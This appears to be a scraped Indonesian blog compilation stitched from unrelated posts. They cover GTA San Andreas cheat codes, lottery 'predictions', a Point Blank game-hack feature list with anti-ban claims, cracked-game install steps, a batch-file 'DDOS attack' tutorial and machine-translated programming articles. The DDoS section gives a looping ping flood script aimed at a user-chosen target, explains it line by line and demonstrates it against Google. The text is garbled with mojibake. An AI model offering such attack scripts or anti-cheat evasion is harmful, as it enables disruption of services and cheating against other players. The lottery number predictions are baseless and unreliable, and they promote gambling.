CJ Jumps Higher: GTA SA Xbox Cheat

If you’re playing the GTA San Andreas game on Xbox and you want to make Carl johnson or in short Cj jump higher then there is a Xbox cheat for it. That cheat is below:
  • Up, Up, Y, Y, Up, Up Left , Right , X , Black, Black
With above cheat, you can make CJ jump almost 10 times higher on your Xbox or Xbox 360. 
Enter above buttons on your joystick without pausing the game so as to activate the cheat. 
How to Deactivate the cheat?

Now, to deactivate it, enter the same again on your xbox joystick while playing the game of GTA San Andreas. This will deactivate it in your GTA SA game.


Wanted Level Cheat for Xbox | Lower or Lose Heat

GTA San Andreas cheats Xbox for Wanted Level
For lowering the wanted level in the game of GTA San Andreas, the cheat code is given below:
  • B, RIGHT, B, RIGHT, LEFT, X, Y, UP

The above mentioned buttons name should be pressed on the Xbox joystick. Image below will help you to figure out the above mentioned buttons on your Xbox joystick.
Note: With this lower wanted level cheat of Xbox, you will lose all your wanted level stars gained. Whether it be 3 or 4 or 5 or 6, you lose all the stars or lose the heat when you enter the above cheat while playing the game on Xbox.  Also, you will not gain any stars or wanted level in future before exiting the game. Note that, this cheat of Xbox will not reduce wanted level by 1 star. It makes you lose all the stars of wanted level.

Benefits of the cheat code while playing the GTA San Andreas game on platform like Xbox or Xbox 360:
  • You lose all the wanted level and thus save yourself from the police. 
  • You insulate yourself from any future wanted levels in the game. 
How to deactivate the Wanted level Cheat in San Andreas game?
Answer: Once active, you will not gain any wanted level. You can deactivate the above cheat by entering it again via your joystick. 
Limitations of the Cheat Code:
  • You do not experience the enjoyment which is when the police chases you inside the San Andreas game.
  • Video game on Xbox becomes a lot easier.
  • Thrill of the GTA San Andreas game is reduced.
Keywords:
  • video game
  • play games
  • gta game play
  • xbox cheats gta
  • gta sa cheats xbox 360


prediksi togel hongkong dan singapura 17 maret 2012

 prediksi togel hongkong dan singapura 17 maret 2012

Pada kesempatan yang berbarokah ini saya akan Prediksikan tentang angka yang keluar pada bulan maret tepatnya pada 17 maret 2012


Ramalan togel untuk hari ini dari prediksi angka ikut singapore.
Angka wajib di 2D : 8016
Live Number :
14 76 38 19 60 03 84 65 46 78
30 11 86 67 48 00 81 62 56 18
70 51 02 83 64 26 07 88 69 10
91 15 96 28 09 80 61 04 85.
Tetap utamakan prediksi sendiri !!
Kami ucapkan banyak terimakasih buat pengunjung setia blog ini, semoga di tahun yg baru nanti blog ini bisa makin jadi lebih baik terutama dalam prediksinya.
prediksi togel hongkong dan singapura 17 maret 2012
tetap utamakan prediksi sendiri karena akan berpengaruh pada kesuksesan anda menjadi togeler di seluruh DUNIA :D


Cheat Point Blank 6 Maret 2012 PointBlank V.5.0 Special Akses Replace , Wallhack + Fullhack(1hit ,amo,brust,mspeed,invisble,dkk)+AKSES BONUS ROOM Competition

 Cheat Point Blank 6 Maret 2012 PointBlank V.5.0 Special Akses Replace , Wallhack + Fullhack(1hit ,amo,brust,mspeed,invisble,dkk)+AKSES BONUS ROOM Competition


Downloads Cheat  
Downloads password 
==============
Features PB New
==============
Fitur Tambahan: [-]Wallhack Clean ALL MAP auto ON
[-]Auto Headshot Ȧ% UP ||Not 100% auto ON

[-]Fast Planted Bom
[-]Fast Defuse BOM
[-]Akses Competition Room>> liat di notice DLL
  • [-]AMMO RELOAD  :F6
  • [-]RECOIL 0% ||Senjata tidak goyang inul|| :F6
  • [-]AMMO 8 JUTA NO RELOAD : Numpad2
  • [-]Replace Weapon  : Page Up ON : Page Down OFF
  • [- Replace piso : Page Up ON : Page Down OFF
  • [-]Replace Char Cew Ct dan Tero : Page Up ON : Page Down OFF
  • [-]Replace New 4 BOM Duber bomberman : Page Up ON : Page Down OFF
  • [-]Replace pyton : Page Up ON : Page Down OFF
  • [-]Akses hack : Caplock TERORIS | SHIFT POLICE
  •  - Darah + 120
  •  - Pangkat Hack ALL start World + GM
  • [-]Invisble Kill HACk New Fix : F7
 ——————————————
[-]DMG 30% Up / triple hollow Auto On
[-]2 Hit Tank = F12
[-]ANti VK 50% : F10
[-]Midle pasbom : Numpad 3 , numpad4
[-]HS 35%
[-]Enemy Frezzy Brust
[-]Amo Global ALL
[-]Enemy frezze AMo || amo tetap + isa reload gak nambah nambah amonya
[-]Effect Mspeed
 - Speed Low
 - Speed Medium
 - Speed High
 - Speed higher
 - Speed Highest
[-]Anti program ILEGAL
[-]ANTI BANned
[-]ANTI Freze Merah jaringan GM
[-]Invisble Kill
==============
Hotkeys Hack :
==============
[-]HS 35% : F12
[-]Enemy Frezzy Brust : F12
 || Stelah tekan F 12 Semua Fitur Akan Ke Kunci/Tidak dapat di ON/Off lagi||
[-]1 Hit No program ILEGAL : F12
[-]Amo Global ALL : Numpad 2
[-]Enemy frezze AMo : Numpad 2||kadang work kadang tdk||
[-]Effect Mspeed
 - Speed Low : F1
 - Speed Medium : F2
 - Speed High : F3
 - Speed  Highest : F4
 - Speed Super : F5
[-]Anti program ILEGAL : Auto ON
[-]ANTI BANned : Auto ON
[-]ANTI Freze Merah jaringan GM : Auto ON
New Tutor Gb Kill :
  •  Pilih Server 
  • dii lobby tekanNumpad Numpad 2 , F7 , F12
  • masuk room , page UP dan f10 (apabila RM)
  • Kalau TEro tekan Caplock
  • Kalau CT tekan SHIFT
  • Di room tekan F1/f2/f3/f4/f5
  • Lalu play,,
  • dah hepi cheating dah lu,,,
Note : 
tekannya belum tentu 1x ja , mungkin belum effect coba tekan lagi..
**Cheat Aktif saat berbunyi , ding/dung/beep/lainnya
========
Tutorial PB
===========

[-]Buka Cheat
[-]Start Pb
[-]TEkan/klik Inject wallhack , baru pointblank version
-Bagi pengguna windows 7/vista tekan yg pointblank version saja
[-]keluar notice ,
(kalau mau baca yah baca , kalu tidak tekan ok saja)
[-]Resume
AGAR TIDAK LAG SAAT MENGGUNAKAN BRUST!!
Saat menggunakan cheat ini dilarang seeting hal tersebut,coz ntar muncul peliharaan GM,,
mengatur hal diatas jngan gunakan cheat dlu,,
Created
Me/Andrie

Recomendation Supported :
Windows 7
windows Xp pack 2
Windows Xp pacб
windows Vista


Games Hacker Evolution

Di siang hari ini saya akan menerangkan dan cara instal Games Hacker Evolution  berikut tutorialnya
CARA instal:
1. Uraikan rilis dengan WinRAR atau setara
2. Instal dengan menjalankan unl-hedr.exe
3. Memulai permainan dengan Duality.exe Hacker Evolution
4. Nikmatilah!
Ingatlah untuk mendukung permainan berkualitas!

System Requirements :
- 1 Ghz or faster CPU
- 1 Gb RAM
- OpenGL compliant video card


Membuat serangan DDOS dari notepad

Tahap pembuatan
—————
Yang di perlukan dalam pembuatan ini adalah
1.Notepad
2.salin script ini ke notepad
@echo off
mode 67,16
title DDOS Attack
color 0a
cls
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ��„ÄÄÄÄÃâ��ÄÄÄÄÄÄÄÄÄÃ�€žÃ�„ÄÄÄÄÄ​ÄÄÄÃ�€žÃ�„ÄÄÄÄÃ���ÄÄÄÄ�ƒâ€�ÄÄÄÄÄÄÄÄÄÃ�ž
echo DDOS With Batchfile
echo Ã�„ÄÄÄÄÃ��ÄÄÄÄ�ƒâ€�ÄÄÄÄÄÄÄÄÄÃ�žÃƒ��ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÃ��ÄÄ​ÄÄÄÄÄÄÄÄÄÄÄÄÃâ����„ÄÄÄÄÄÄÄÄÃ�€žÃ�„Ä
echo.
set /p x=Server-Target:
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÃâ��ÄÄÄÄÄÄÄÄÄÃ�€žÃ�„ÄÄÄÄÄÄÄÄÄ�ƒâ€�ÄÄÄÄÄÄÄ​ÄÄ�ƒâ€�Ã��ÄÄÄÄÄÄÄÄÃ�žÃƒ„ÄÄÄÄÄÃ��ÄÄÄÄÄ
ping %x%
echo ÄÄÄÄÄÄ�ƒâ€�ÄÄÄÄÄÄÄÄÄÃ�žÃƒ„ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÃâ��Ä​ÄÄÄÄÄÄÄÄÃâ��ÄÄÄÄÄÄÄÄÄÃ�€žÃ�„ÄÄÄÄÄ
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=ip Host:
echo.
set /p n=Packet Size:
echo.
:DDOS
color 0c
echo Attacking Server %m%
ping %m% -i %n% -t >nul
goto DDOS
3.save dengan ekstensi batchfile
contoh:DDOS.bat
———-
Cara Pakai
———-
Pada menu Server-Target masukan
alamat web yang ingin di DDOS
contohnya seperti ini:
Spoiler: hide
Quote:[Image: yeNE4d2c3a2bdf189.jpg]
disini saya mencoba men DDOS Google,setalah itu
tekan “ENTER” hasil seperti ini
Spoiler: hide
Quote:[Image: JEGl4d2c3bf69db0d.jpg]
kemudian masukan hasil ip dari ping tadi di ip host dan
untuk Packet Size itu untuk mengirim berapa byte jadi
ukuran Size terserah anda
contohnya seperti ini
Spoiler: hide
Quote:[Image: od3l4d2c40ea39a67.jpg]
ke mudian tekan “ENTER” hasil seperti ini
Spoiler: hide
Quote:[Image: 2gCm4d2c4234de5f4.jpg]
jika seperti gambar di atas berarti Proses DDOS berhasil di jalankan
tergantung anda ingin men DDOS sampai berapa lama.
———–
Penjelasan
———–
Saatnya penjelasan source code
@echo off

Quote:*Menyebabkan perintah tidak ditampilkan ketika dilaksakan/di execute
mode 67,16

Quote:*Membentuk layar pada command prompt dengann ukuran lebar “67″ dah tinggi “16″
title DDOS Attack

Quote:*membuat judul dengan nama “”
color 0a

Quote:*membuat layar berwarna,
pada angka 0->untuk membuat background Hitam dan a->untuk membuat tulisan menjadi Hijau Terang
cls

Quote:*membersihkan layar sehingga command seperti @echo off
mode 67,16
title DDOS Attack
color 0a

tidak di tampilkan
echo

Quote:*akan menampilkan baris kosong
echo.

Quote:*untuk memberi tanda longkap
Ä

Quote:* membuat garis lurus
echo.
echo ÄÄÄÄÄÄÃâ��ÄÄÃ���ÄÄÄÄÄÄÃ�€žÃ�„ÄÄÄÄÄÄÄÃ���Ä�ƒâ€�ÄÄÄÄÄÄÄÄÄÃ�žÃƒ„Ä​ÄÄÄÄÄÄÄÃ�žÃƒ„ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo DDOS With Batchfile
echo ÄÄÄÃ�žÃƒ„ÄÄÄÄÄÄÄÄ��„ÄÄÄÄÄÄÄÄÄÄÄÃâ��ÄÄÄ��„ÄÄÄÄÄÃ�€žÃ�„ÄÄÄ​ÄÄÄÄÃ���Ã�€žÃ�„ÄÄÄÄÄÄÄÄÄ�ƒâ€�ÄÄÄÃ���ÄÄÄÄ
echo.

set /p x=Server-Target:
echo.
echo ÄÄÄÃ���ÄÄÄÄÄÄÄÄÄÄÄÃâ��ÄÄÄÃ���ÄÄÄÄÄÃ�€žÃ�„ÄÄÄÄÄÄÄÄÃ����ƒâ€�ÄÄÄ​ÄÄÄÄÄÄ�ƒâ€�ÄÄÄÄÄÄÄÄÄÃ�žÃƒ„ÄÄÄÄÄÄÄ
ping %x%
echo Ã�„ÄÄÄÄÄÄÄÄÄ�ƒâ€�ÄÄÄÄ��„ÄÄÄÄÃ�žÃƒ„ÄÄÄÄÄÄÄÄÄ��„ÄÄÄÄÄÄÄÄ​ÄÄÄÄÄÄÃ���ÄÄÄÄÄÃâ��ÄÄÄÄÄÄÄÄÄÃ�€žÃ�„Ä

Quote:*artinya hasil dari “Server-Target:” akan di nyatakan x
setelah itu x akan di Ping
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next


Quote:*memberi waktu pause sebanyak 5 second dan diteruskan ke Next
:Next
echo.
echo.
echo.
set /p y=ip Host:
echo.
set /p z=Packet Size:
echo.


Quote:*setelah ke Next ,
pada “ip Host:” akan di nyatakan y dan “Packet Size:” akan di nyatakan z
setelah itu di teruskan ke DDOS
:DDOS
color 0c


Quote:*membuat warna merah terang
echo Attacking Server %y%
ping %y% -i %z% -t >nul
goto DDOS


Quote:*artinya setelah memasukan nilai y dan nilai z
hasil nilai y akan di tampung di %y%
dan penge PING an nilai y dan pengiriman size yg di yatakan pada
nilai z setelah berhasil di lanjutkan ke :DDOS
karena mengunakan goto(perulangan)


Prediksi togel hongkong 6 maret 2012

saya selaku pecinta togel akan memprediksikan tentang angka togel yang akan keluar pada hari selasa 6 maret 2012 ini dia rancangan ataupun prediksi yang saya ambil dari beberapa sumber

Prediksi togel hongkong 6 maret 2012



Ramalan togel hari ini senin tgl 06-03-2012.(4d 5397) (3d 397) (2d 97
cadangan 79-53-35-59-95-08-80-39-37-ș) (makao/colok bebas 2d 59)
(colok bebas 9) (shio 1-shio 7-shio 11).
tetap ercaya dengan prediksi sobat sekalian


Prediksi togel singapura senin 5 maret 2012

berjumpa lagi dalam postingan Prediksi togel singapura senin 5 maret 2012
karena awalnya cuman iseng saja tetapi saya mempunyai prediksi angka togel yang keluar pada hari senin 5 maret 2012
berikut angka atau rumusan Togel yang akan keluar pada hari senin 5 maret 2012

Angka wajib : 2468
2D lemah :
12 14 21 26 43 41 67 58 81 75
89 01 10 91 19 28 82 37 73 55
46 64 58 74 85 71 03 27 22
13 17 42


tetap kokohkan prsentasi anda dalam merumus ukuran ataupun takaran angka togel yang akan keluar pada hari tersebut 


prediksi togel singapura 2 maret 2012

Pada kesempatan yang berbarokah ini saya akan Prediksikan tentang angka yang keluar pada bulan maret tepatnya pada tanggal 2maret


Ramalan togel untuk hari ini dari prediksi angka ikut singapore.
Angka wajib di 2D : 8016
Live Number :
14 76 38 19 60 03 84 65 46 78
30 11 86 67 48 00 81 62 56 18
70 51 02 83 64 26 07 88 69 10
91 15 96 28 09 80 61 04 85.
Tetap utamakan prediksi sendiri !!
Kami ucapkan banyak terimakasih buat pengunjung setia blog ini, semoga di tahun yg baru nanti blog ini bisa makin jadi lebih baik terutama dalam prediksinya.

tetap utamakan prediksi sendiri karena akan berpengaruh pada kesuksesan anda menjadi togeler di seluruh DUNIA :D

salam terima kasih


Karir menjadi Pemrograman

Jika Anda benar-benar mencintai pemrograman, Anda mungkin ingin membuat penuh waktu karir Anda. Anda akan dapat membuat uang yang baik desain dan coding program, dari tingkat rendah embedded system sepanjang jalan sampai ke situs web. Namun, ini jauh lebih sulit dari sekedar belajar bahasa atau dua dan biasanya memerlukan gelar sarjana. Alasan untuk ini adalah bahwa jika Anda mendapatkan gelar, Anda akan belajar jauh lebih dari sekedar informasi dasar tentang bahasa. Anda juga akan belajar matematika lanjutan dan konsep ilmu komputer yang akan meningkatkan algoritma Anda coding.

Selain itu, banyak pekerjaan membutuhkan gelar. Mereka menunjukkan kepada majikan yang potensial bahwa Anda memiliki pengetahuan tentang pemrograman komputer. Hal ini benar terutama jika Anda mendapatkan magang saat kuliah, karena itu menunjukkan bahwa anda tidak hanya tahu teori, tapi Anda benar-benar dapat kode dan memiliki pengalaman kerja juga. Semua dalam semua, mendapatkan karir pemrograman akan lebih mudah dengan gelar di bidang Ilmu Komputer atau bidang terkait.

Jika Anda mendapatkan gelar, Anda harus mencari pekerjaan di bidang yang Anda berfokus pada saat kuliah. Misalnya, jika Anda bekerja magang dengan pemrograman embedded system, harus mudah bagi Anda untuk mendapatkan pekerjaan penuh waktu melakukan hal itu.

Orang lain memilih untuk pergi rute lepas. Ini memungkinkan Anda "menjadi bos sendiri", sehingga untuk berbicara, karena Anda tidak terikat kepada perusahaan tunggal. Sebaliknya, Anda bekerja pada berbagai proyek pemrograman untuk berbagai orang. Hal ini memungkinkan fleksibilitas yang besar dan manfaat tetapi risiko juga meningkat. Anda dapat bekerja ketika Anda inginkan dan dapat memilih proyek-proyek Anda, tetapi Anda selalu mencari pekerjaan baru, karena tidak ada jaminan bahwa akan ada proyek tambahan yang tersedia bagi Anda di masa depan.

Sangat penting untuk menyadari bahwa dalam pemrograman, belajar adalah proses seumur hidup. Bahasa baru dan kerangka kerja yang terus-menerus diciptakan dan hal terpanas hari ini dengan cepat bisa jatuh di pinggir jalan segera. Sebagai contoh, pemrograman web telah berevolusi dari kode HTML sederhana untuk LAMP stack untuk digunakan secara luas saat ini kerangka web. Pemrograman Windows yang digunakan bergantung secara ekstensif pada perpustakaan Win32, tetapi banyak program menggunakan. NET sekarang. Platform mobile, sebelumnya berbasis di sekitar BlackBerry dan Windows Mobile, kini hampir secara eksklusif berfokus pada IOS dan Android.

Pemrograman komputer bisa menjadi pilihan karir yang bagus, tetapi tidak mudah. Anda tidak hanya umumnya perlu gelar sarjana, tetapi Anda juga harus memiliki ruang lingkup yang luas dan pengetahuan dan terus-menerus akan mengembangkannya agar tetap dipekerjakan.    


Game Programming

Yang pasti, pemrograman game adalah salah satu bagian yang lebih sulit dari pemrograman. Alasan untuk ini adalah bahwa permainan modern telah menjadi semakin kompleks. Grafis dan fisika mengambil sebagian besar persyaratan sistem dan membutuhkan banyak non-pemrograman kompetensi untuk membuat permainan yang sukses.

Permainan umumnya ditulis dalam bahasa seperti C + + yang memberikan keseimbangan yang baik antara kecepatan dan kekuatan. C + + menawarkan banyak alat untuk programmer seperti kelas dan perpustakaan standar untuk bahasa, tetapi juga relatif rendah, yang memungkinkan untuk berjalan tanpa overhead yang sangat banyak. Selain itu, mesin permainan modern (akan dibahas kemudian) sering ditulis dalam C + +, sehingga mengintegrasikan kode Anda ke dalam mesin akan lebih mudah jika Anda menggunakan bahasa.

Dari sana, apa yang Anda harus belajar tergantung pada apa jenis game yang Anda ingin menulis. Sebuah bertepatan game sederhana 2D perlu Layer DirectMedia Sederhana, mudah digunakan perpustakaan untuk grafis, suara, dan fungsi permainan lainnya. Namun, sementara SDL sederhana, tidak sangat kuat. Untuk sesuatu yang lebih kompleks, seperti permainan 3D, Anda akan perlu program permainan dengan sebuah perpustakaan yang lebih kuat seperti OpenGL atau DirectX. Perpustakaan ini memiliki alat yang lebih kompleks yang Anda butuhkan untuk grafis 3D

Permainan pemrograman, lebih dari cabang lainnya, memerlukan sejumlah besar studi hanya karena sejumlah besar disiplin ilmu yang mencakup. Kompleks game sering membutuhkan pengetahuan luas tentang struktur data untuk mengelola data permainan, dan algoritma untuk memproses dengan cepat. Karena tuntutan sumber daya tinggi dari permainan hari ini, penting untuk menggunakan alat yang paling efisien untuk pekerjaan itu.

Dan seperti yang dinyatakan di atas, permainan saat ini menggunakan grafis yang kompleks dan algoritma fisika untuk membuat konten game yang sebenarnya, meskipun ini hanya penting untuk game 3D.


Jika Anda benar-benar ingin masuk ke pengembangan game lebih maju, Anda terbaik adalah dengan menggunakan mesin permainan prebuilt. Yang memiliki semua grafis dan algoritma fisika sudah ditulis untuk Anda, sehingga Anda dapat fokus pada menulis kode gameplay aktual dan konten grafis untuk permainan. Studio game yang paling menggunakan metode ini. Sebagai contoh, semua permainan modern Valve menggunakan mesin Sumber.

Satu masalah dengan mesin permainan prebuilt adalah bahwa mereka umumnya tidak gratis. Pengecualian utama untuk ini adalah id Tek 4, yang adalah mesin yang digunakan dalam Doom 3. Ini secara bebas tersedia sekarang.


Pengembangan game bukanlah tugas sederhana. Hal ini membutuhkan sejumlah besar pengetahuan pemrograman, bakat artistik, dan pengetahuan ilmu komputer. Tapi ini bukan tugas yang mustahil jika Anda menempatkan pikiran Anda untuk itu, dan bisa sangat bermanfaat.    


Cara Belajar Bahasa Pemrograman Pertama Anda

pengenalan

Pemrograman adalah hobi yang sangat berguna dan bermanfaat. Ada perasaan yang lebih baik sedikit daripada ketika seseorang melihat Anda menggunakan program yang diikat untuk membuat hidup Anda lebih mudah dan mengatakan bahwa tampaknya benar-benar berguna. Kebanyakan orang, di beberapa titik dalam hidup mereka, benar-benar ingin bisa melakukan sesuatu di komputer atau telepon dan tidak mampu. Jika Anda tahu bahasa pemrograman, maka sering kali ada kesempatan yang adil bahwa Anda dapat menulis sebuah program untuk menyelesaikan tugas itu sendiri. Meskipun ada sejumlah besar bahasa pemrograman, banyak dari mereka memiliki banyak kesamaan, ini berarti bahwa sekali Anda belajar satu bahasa cukup baik, dalam banyak kasus Anda akan dapat mengambil yang baru jauh lebih cepat.

 
Satu hal yang semua programmer baru harus datang ke istilah dengan adalah jumlah waktu belajar bahasa pemrograman membutuhkan. Meskipun ketika Anda telah menjadi ahli Anda akan dapat menulis banyak program dengan cepat, Anda harus ingat bahwa banyak program telah mengambil seluruh tim tahun ahli pengembang untuk menciptakan. Jadi, penting untuk memahami bahwa mengetahui bahasa pemrograman atau bahkan beberapa tidak cukup untuk menulis beberapa program yang lebih kompleks yang telah Anda lihat. Jangan melihat ini hobi baru sebagai cara untuk menghemat banyak uang, seperti menulis versi Anda sendiri sebagian besar program yang Anda perlu membayar untuk saat akan keluar dari jangkauan Anda.



Yang paling penting bahwa seorang programmer baru perlu tahu adalah bahwa "Belajar Pemrograman dalam 24 jam" semacam buku adalah tidak benar. Sebuah judul yang lebih akurat akan "Belajar Pemrograman di 10.000 jam". Jika Anda menempatkan 24 jam atau satu minggu untuk belajar bahasa yang Anda tidak akan membuat Windows berikutnya atau keadaan baru dari permainan seni. Hal ini dimungkinkan untuk belajar menulis program dalam 10 menit, dan benar-benar semua yang Anda butuhkan untuk belajar bahasa baru adalah mesin pencari favorit Anda, tetapi Anda tidak akan menjadi ahli. Satu-satunya cara untuk menjadi ahli jauh seperti belajar biola; jawabannya adalah praktek, praktek dan praktek lagi.

Memilih Bahasa Pertama Anda

Sekarang kita telah meneliti keterbatasan dan ditangani beberapa harapan yang lebih realistis, Anda yang masih ingin belajar untuk kode akan senang mengetahui bahwa pemrograman bukanlah hal yang sulit untuk memulai belajar dan tidak akan meminta Anda untuk membayar sejumlah besar uang. Jika Anda membaca artikel ini on-line, Anda sudah memiliki sumber daya untuk mulai dengan beberapa bahasa, jadi mari kita perhatikan apa bahasa pertama Anda seharusnya.


Secara tradisional bahasa pertama pendatang baru belajar pemrograman Visual Basic adalah baik atau Python. Hal pertama yang harus dipahami adalah bahwa kedua bahasa sangat berbeda. Perbedaan yang paling sederhana adalah salah satu harga. Python benar-benar gratis, Anda dapat mulai menulis python sekarang hanya dengan editor teks di komputer Anda, meskipun jika Anda berada di Windows, Anda mungkin perlu menginstal terlebih dahulu. Namun Visual Basic, sering disingkat VB, bersifat bebas dan tidak bebas. Pada terbalik, VB bisa lebih sederhana untuk pendatang baru untuk belajar karena memungkinkan Anda untuk membangun interface (bagian dari program ini pengguna akan melihat) dengan menyeret dan menjatuhkan bagian yang berbeda seperti merancang dalam beberapa aplikasi seni dasar. Versi pendatang baru belajar VB biasanya Visual Basic 6, tapi ini agak ketinggalan jaman dan telah dihentikan. Jadi hari ini versi belajar sering VB.NET yang dapat menjadi jauh lebih sederhana untuk pendatang baru.

VB.NET harus dikembangkan di dalam apa yang kita sebut sebuah IDE (Integrated Development Environment), ini pada dasarnya adalah sebuah program khusus Anda gunakan untuk menulis program lain. Mereka juga ada untuk Python, tapi penggunaannya benar-benar opsional. Para VB.NET bebas IDE disebut Visual Studio Express. Pada saat penulisan, versi terbaru adalah Visual Studio Express 2010. Sayangnya, dengan menggunakan versi gratis dari IDE Anda dibatasi dengan apa yang dapat Anda lakukan, dan setiap program yang Anda buat tidak bisa dijual secara komersial pada. Menyesal, versi dibayar penuh IDE tidak murah, dan mungkin tidak sesuai untuk hobi, tapi untungnya untuk belajar VB versi gratis sudah cukup. Dalam prakteknya, program komersial sangat sedikit dikembangkan di VB hari ini, tapi Visual Studio IDE memungkinkan Anda untuk menggunakan bahasa lainnya. Keakraban Anda akan mengembangkan dengan menggunakannya juga akan memungkinkan Anda untuk menggunakan kekuatan IDE untuk pembangunan di banyak bahasa lainnya. Beberapa akan berpendapat bahwa hampir setiap bahasa dapat dikembangkan dalam editor teks dan bahwa mereka adalah jauh cara yang paling fleksibel di mana untuk kode. Meskipun hal ini secara teknis benar (dan saya menyarankan mencoba pembangunan di editor teks untuk membandingkan setelah Anda mendapatkan sedikit lebih baik), saya akan sangat menyarankan belajar bahasa pertama Anda dengan IDE tepat.

Sementara secara tradisional, orang belajar Python atau VB pertama dan ini umumnya apa yang diajarkan di sekolah, saya tidak akan menyarankan salah satu dari ini. Saya berpendapat bahwa bahasa pertama Anda harus terus menjadi berguna bagi Anda yang telah melayani tujuan membantu Anda mempelajari dasar-dasar pemrograman. Jika saya harus merekomendasikan salah satu untuk pendatang baru, akan VB.NET sesering bagian paling kompleks dari pemrograman adalah sisi grafis dari hal dan di VB.NET ini sangat sederhana karena antarmuka drag dan drop. Kedua bahasa yang sering digunakan sebagai perkenalan karena mereka sangat toleran terhadap kesalahan, dan memungkinkan Anda untuk menjadi percaya diri dalam prinsip-prinsip pemrograman tanpa khawatir tentang banyak hal-hal yang lebih kompleks.

Untuk jiwa-jiwa pemberani di antara kamu, aku benar-benar akan menyarankan Jawa sebagai bahasa pertama Anda, meskipun itu dapat menjadi kompleks, dan karena itu bukan pilihan yang umum untuk sebuah bahasa pertama. Program Java berbeda dengan kebanyakan orang lain di bahwa mereka tidak berjalan di komputer Anda. Pengguna download Jawa, maka kode Anda berjalan pada apa yang disebut sebagai VM (Virtual Machine). Ini berarti bahwa kode Anda berjalan di tempat khusus Jawa set up untuk itu - salinan palsu dari komputer Anda - dan menangani terjemahan ini untuk mesin nyata untuk Anda. Ini berarti bahwa program Java adalah "cross-platform", yang berarti bahwa mereka akan untuk sebagian besar berjalan di Windows, Mac, Linux dan sistem operasi yang paling lainnya.
Java adalah bahasa yang baik untuk belajar, karena sangat luas dan berguna. Selain itu, sangat kuat, dan tersedia secara gratis untuk kedua penggemar dan penggunaan komersial. Namun, berbeda dengan VB dan Python, tidak mentolerir kesalahan dan mengharuskan Anda untuk sangat spesifik tentang segalanya. Ini juga merupakan pemrograman berorientasi objek bahasa, yang merupakan masalah yang sangat kompleks yang singkat saya akan mencoba untuk meringkas. Bahasa seperti Python dan VB apa yang dikenal sebagai bahasa prosedural, yang berarti bahwa baris kode dijalankan satu demi satu, sedangkan Java adalah bahasa berorientasi objek. pengembangan berorientasi objek adalah istilah dilemparkan sekitar banyak hari-hari di dunia pemrograman, dan sementara tidak selalu tepat secara umum dianggap sebagai ide yang baik. Pada tingkat paling dasar, program berorientasi objek adalah semua tentang objek. Sebuah objek adalah sebuah "Instansiasi" dari "kelas". Kelas A adalah cetak biru digunakan untuk menggambarkan sesuatu seperti kucing. Kelas berisi data tentang kucing seperti, umur nama dan pemilik serta "metode" yang pada dasarnya tindakan kucing dapat melakukan, seperti ngeong. Sebuah contoh dari "kucing" kelas akan memberikan kucing tertentu. Namun, ini bukan tutorial Jawa, jadi jika Anda cukup berani untuk bereksperimen dengan Java Anda akan menemukan ini sendiri lebih terinci. Perlu dicatat bahwa VB.NET dan Python keduanya memiliki dukungan untuk pengembangan berorientasi objek, dan Jawa memiliki potensi untuk digunakan secara prosedural, tetapi ini tidak menggunakan dasar bahasa 'yang dimaksud dan tidak sering digunakan. Jika Anda tidak mengerti perbandingan itu, jangan khawatir tentang hal itu terlalu banyak. Orientasi objek sulit untuk mendapatkan kepala Anda sekitar, tetapi setiap Java dasar atau lainnya berorientasi objek tutorial bahasa akan memiliki Anda memahami segala sesuatu dalam ayat itu.


Alasan terakhir Java adalah bahasa pertama yang baik adalah bahwa hal itu sama dalam banyak cara untuk Javascript, yang merupakan kelas yang sama sekali berbeda bahasa. Javascript adalah bahasa scripting (seperti Python), dan pembelajaran Jawa berarti Anda memahami Javascript cukup baik. Perbedaannya adalah antara bahasa scripting dan bahasa pemrograman normal adalah di luar lingkup artikel ini, tetapi sebagai script generalisasi besar biasanya digunakan untuk tugas otomatis sementara program digunakan secara interaktif oleh pengguna. Hal ini tidak sepenuhnya benar, karena kedua jenis bahasa yang digunakan untuk kedua tugas dan program web yang paling dibangun di Javascript.

Adapun bahasa yang sebenarnya Anda pilih, itu sepenuhnya terserah Anda. Beberapa mungkin memilih bahasa pemula tradisional atau berani dan bereksperimen dengan Jawa. Beberapa dari Anda mungkin sudah memiliki mata Anda pada bahasa atau satu mewah dari bahasa spesialis lebih seperti Skema atau Prolog. Apapun pilihan Anda, cara Anda akan belajar bagaimana program adalah sama.


IDE, Ya atau Tidak?

Banyak puritan mengatakan bahwa IDE adalah ide yang buruk, dan yang dikemas dengan alat yang tidak perlu dan menu yang mengambil ruang disk dan waktu untuk belajar. Meskipun hal ini benar, saya merasa bahwa sebuah IDE adalah jelas berharga. Banyak orang menawarkan IDE gratis, seperti Eclipse dan Netbeans, untuk bahasa yang lebih populer. Ada juga Visual Studio, yang saya sebutkan sebelumnya, sangat intuitif, sangat kuat dan mendukung banyak bahasa (sama seperti Netbeans dan Eclipse lakukan). Jika Anda memilih untuk menggunakan Java saya akan menyarankan Netbeans, karena ada versi paket dari Netbeans dengan JDK (Java Development Kit). Kebanyakan bahasa memerlukan sebuah SDK (Software Development Kit) untuk bekerja dengan mereka, dan mendapatkan itu terpasang dengan baik dan terkait dengan IDE sering bagian tersulit dari prosedur. Visual Studio sudah dilengkapi dengan kit pengembangan diatur, yang membuat hidup lebih mudah, tetapi bahasa lain seperti Java dan Python bisa sangat sulit untuk diatur dengan benar. Ini adalah mengapa saya menyarankan Netbeans + bundel JDK bagi mereka bereksperimen dengan Java, karena menangani kompleks diatur untuk Anda, yang akan menghemat jam penderitaan.


